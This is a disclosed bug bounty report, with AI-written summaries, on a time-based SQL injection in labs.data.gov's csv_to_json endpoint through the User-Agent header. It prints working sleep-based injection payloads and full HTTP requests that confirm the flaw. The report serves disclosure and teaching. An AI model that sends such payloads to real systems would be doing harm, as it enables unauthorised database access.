SQL injection in https://labs.data.gov/dashboard/datagov/csv_to_json via User-agent
The User-Agent header on the csv_to_json endpoint was passed into a SQL query without proper handling, so injected SQL fragments changed the query's logic. The reporter confirmed this with time-based tests, showing the server's response delay matched the arithmetic result, but did not extract any data.
- Triaged in 6 hours
- Fixed in 15 months
- Paid in 8 hours
- Disclosed after 15 months
I've identified an SQL injection vulnerability in the website labs.data.gov that affects the endpoint /dashboard/datagov/csv_to_json and can be exploited via the User-Agent HTTP header.
I didn't extracted any data from the database, I've confirmed the vulnerability using sleep SQL queries with various arithmetic operations. The sleep command combined with the arithmetic operations will cause the server to sleep for various amounts of time depending on the result of the arithmetic operation.
For example, setting the value Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR' to the User-Agent header will cause the server to sleep for 25 (5*5) seconds.
To reproduce, send the following HTTPS request:
GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
The server will respond after 25 (5*5) seconds - same as the value of the User-Agent: header.
Now, let's cause the server to respond immediately. We will send the value sleep(550) that is equivalent with 0.
GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5*0),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
The server responded immediately as 550 = 0.
Let's confirm it with another request:
GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(6*6-30),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
This time the payload contains 6*6-30 that is equal with 6. The server responded after 6 seconds.
These are just a few of the SQL queries with various arithmetic operations that I've tried to confirm this issue.
Impact
An attacker can manipulate the SQL statements that are sent to the MySQL database and inject malicious SQL statements. The attacker is able to change the logic of SQL statements executed against the database.
Attachments


Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application built a SQL query by concatenating the raw User-Agent header value instead of using parameterised queries.
Impact
An attacker could change the logic of the SQL statements run against the database, though the reporter did not extract any data.
What the attacker needed
Ability to send requests to the endpoint
How it was found
- Send a request to the csv_to_json endpoint with a User-Agent value containing a sleep expression that evaluates to 25.
- Observe that the server responds after about 25 seconds.
- Send the same request with the sleep expression changed so it evaluates to 0.
- Observe that the server responds immediately.
- Send another request with an expression that evaluates to 6 and observe a roughly 6 second delay.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A database reads and writes data using commands written in a language called SQL. Here the website took text from a request header and put it straight into one of those commands, so the sender could add their own commands. The tester proved this by making the server wait a chosen number of seconds, which shows the extra command ran.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.